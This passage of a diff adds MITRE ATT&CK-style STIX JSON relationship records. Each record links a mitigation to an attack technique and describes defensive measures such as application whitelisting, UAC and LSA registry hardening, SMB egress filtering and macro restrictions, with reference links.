"target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.", + "type": "relationship", + "id": "relationship--aba9ea33-32fb-4fb6-a7af-3d8902596fc8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-24T19:18:56.129Z", + "modified": "2019-06-24T19:18:56.129Z", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. Identify and block potentially malicious software executed through regsvr32 functionality by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "created": "2019-06-24T19:30:29.641Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a9e2939-8974-4d6a-a584-87120df6e5ec", + "external_references": [ + { + "source_name": "Secure Host Baseline EMET", + "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Microsoft Windows Defender Application Control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-18T17:32:43.806Z", + "source_ref": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Regsvcs and Regasm may not be necessary within a given environment.", + "type": "relationship", + "created": "2019-06-24T19:32:19.533Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08e9dd54-cd91-440e-84d0-f86494ad0a3a", + "modified": "2019-07-18T17:31:27.498Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000. Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", + "type": "relationship", + "created": "2019-06-24T19:32:28.527Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--36c6dd87-edf2-4b98-b446-6baf2276563f", + "external_references": [ + { + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ], + "modified": "2019-07-17T21:22:37.310Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.", + "type": "relationship", + "created": "2019-06-24T19:32:28.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35923be5-bb44-4641-a1d1-8255eb423537", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "modified": "2019-07-17T21:22:37.313Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", + "type": "relationship", + "created": "2019-06-24T19:53:23.756Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6537d47a-80c0-442b-a1ec-3451d078a2a9", + "modified": "2019-07-17T21:25:27.186Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\nBlock SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting.", + "type": "relationship", + "created": "2019-06-24T19:53:23.769Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--85c9285a-6738-42dd-aa12-fbded3e7bbdb", + "external_references": [ + { + "source_name": "US-CERT SMB Security", + "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.", + "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-07-17T21:25:27.194Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-25T11:24:45.251Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3359cfe3-0d04-4fb8-9f2f-1b049bc10cf4", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T17:29:36.194Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Holding the Shift key while logging in prevents apps from opening automatically.", + "type": "relationship", + "id": "relationship--20e67eaa-23c3-4743-a907-4ec6d6505806", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T11:28:27.295Z", + "modified": "2019-06-25T11:28:27.295Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "type": "relationship", + "id": "relationship--20a0028d-1e5b-49da-a56c-a8a611a20093", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T11:28:27.310Z", + "modified": "2019-06-25T11:28:27.310Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access.", + "type": "relationship", + "created": "2019-06-25T11:44:21.264Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bcb80880-d429-49b3-b9ca-7f7d94812dc4", + "modified": "2019-07-18T17:21:53.008Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use strong passphrases for private keys to make cracking difficult.", + "type": "relationship", + "created": "2019-06-25T11:44:21.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3afb3225-b6f9-439c-82dd-5cdc464ac34f", + "modified": "2019-07-18T17:21:53.004Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement.", + "type": "relationship", + "created": "2019-06-25T11:44:21.285Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e6ec081-8124-4e3a-833c-30efe8b510fe", + "modified": "2019-07-18T17:21:53.022Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure only authorized keys are allowed access to critical resources and audit access lists regularly.", + "type": "relationship", + "created": "2019-06-25T11:44:21.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80f7f387-a40c-4158-a509-9308263b32ed", + "modified": "2019-07-18T17:21:53.020Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.\n\nDisable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", + "type": "relationship", + "created": "2019-06-25T11:53:20.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39962764-cf46-4f39-9dd9-95b0ced56d93", + "modified": "2019-07-18T17:15:10.832Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent plist files from being modified by users by making them read-only.", + "type": "relationship", + "id": "relationship--cbbb1dfc-b66c-42d7-828d-6af82c396d78", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T11:58:11.888Z", + "modified": "2019-06-25T11:58:11.888Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Require that all executables be placed in write-protected directories.", + "type": "relationship", + "created": "2019-06-25T12:02:27.819Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--458eb231-ded2-4941-aeaa-875263ac20ab", + "modified": "2019-07-18T17:08:41.224Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "type": "relationship", + "created": "2019-06-25T12:02:27.823Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cef9c309-edd5-48a6-afc9-de7e13a0cc05", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Microsoft Windows Defender Application Control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-18T17:08:41.225Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate. \n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.", + "type": "relationship", + "created": "2019-06-25T12:02:27.825Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b113c982-66fb-4a19-b85d-f1f33f045d2b", + "external_references": [ + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "source_name": "MSDN DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx" + }, + { + "source_name": "Kanthak Sentinel", + "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "url": "https://skanthak.homepage.t-online.de/sentinel.html" + } + ], + "modified": "2019-07-18T17:08:41.219Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.", + "type": "relationship", + "created": "2019-06-25T12:09:15.655Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62d8cec2-c94f-4a18-ab0a-0a182e30f33a", + "external_references": [ + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + } + ], + "modified": "2019-07-19T14:45:29.015Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.", + "type": "relationship", + "id": "relationship--ffa8f46b-615f-4b95-8ed5-90f86eaedd20", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T12:15:00.109Z", + "modified": "2019-06-25T12:15:00.109Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded.", + "type": "relationship", + "id": "relationship--30cd48e4-915e-430b-ab79-da6dfead0e52", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T12:17:31.734Z", + "modified": "2019-06-25T12:17:31.734Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans.", + "type": "relationship", + "created": "2019-06-25T12:25:23.792Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--651225d6-5454-4c44-8d62-776bd7ddaed2", + "modified": "2019-07-18T16:38:51.170Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.", + "type": "relationship", + "created": "2019-06-25T12:25:23.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--32d482c4-2c0d-4688-a38b-d73b5b2962a3", + "modified": "2019-07-18T16:38:51.192Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.", + "type": "relationship", + "id": "relationship--b5bb955f-cf1c-4398-9766-d06b30dfe326", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T12:29:05.208Z", + "modified": "2019-06-25T12:29:05.208Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "type": "relationship", + "id": "relationship--0672855a-d701-45fc-ba05-872561b46086", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T12:29:05.217Z", + "modified": "2019-06-25T12:29:05.217Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", + "type": "relationship", + "id": "relationship--81bb4898-aaa2-4dff-9af8-a97e6b69a95a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-25T12:31:57.676Z", + "modified": "2019-06-25T12:31:57.676Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.", + "type": "relationship", + "created": "2019-06-25T12:34:17.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4fd60107-7025-4398-a53e-ef830c606e96", + "modified": "2019-07-18T16:20:52.429Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use file system access controls to protect folders such as C:\\\\Windows\\\\System32.", + "type": "relationship", + "created": "2019-06-25T12:37:30.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72de6e56-e5d1-4a3f-aa85-d7155f7ff42c", + "modified": "2019-07-18T15:46:37.689Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Require signed binaries.", + "type": "relationship", + "created": "2019-06-25T12:37:30.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4fd3ec25-00ed-48c1-af72-e2523959860e", + "modified": "2019-07-18T15:46:37.691Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library.", + "type": "relationship", + "created": "2019-06-25T12:42:56.894Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--865b8971-408c-481c-8879-616f8a08eab0", + "external_references": [ + { + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + } + ], + "modified": "2019-07-18T15:35:28.300Z", + "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL to dword:00000001. LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.", + "type": "relationship", + "created": "2019-06-25T12:42:56.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eaaa3ad9-1bac-4355-901a-7ea888ab4bdc", + "external_references": [ + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + } + ], + "modified": "2019-07-18T15:35:28.302Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Holding the shift key during login prevents apps from opening automatically.", + "type": "relationship", + "created": "2019-06-25T12:57:26.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--94fda004-858c-4128-93d8-2fe3bb4a4930", + "external_references": [ + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + } + ], + "modified": "2019-07-18T15:33:06.155Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", 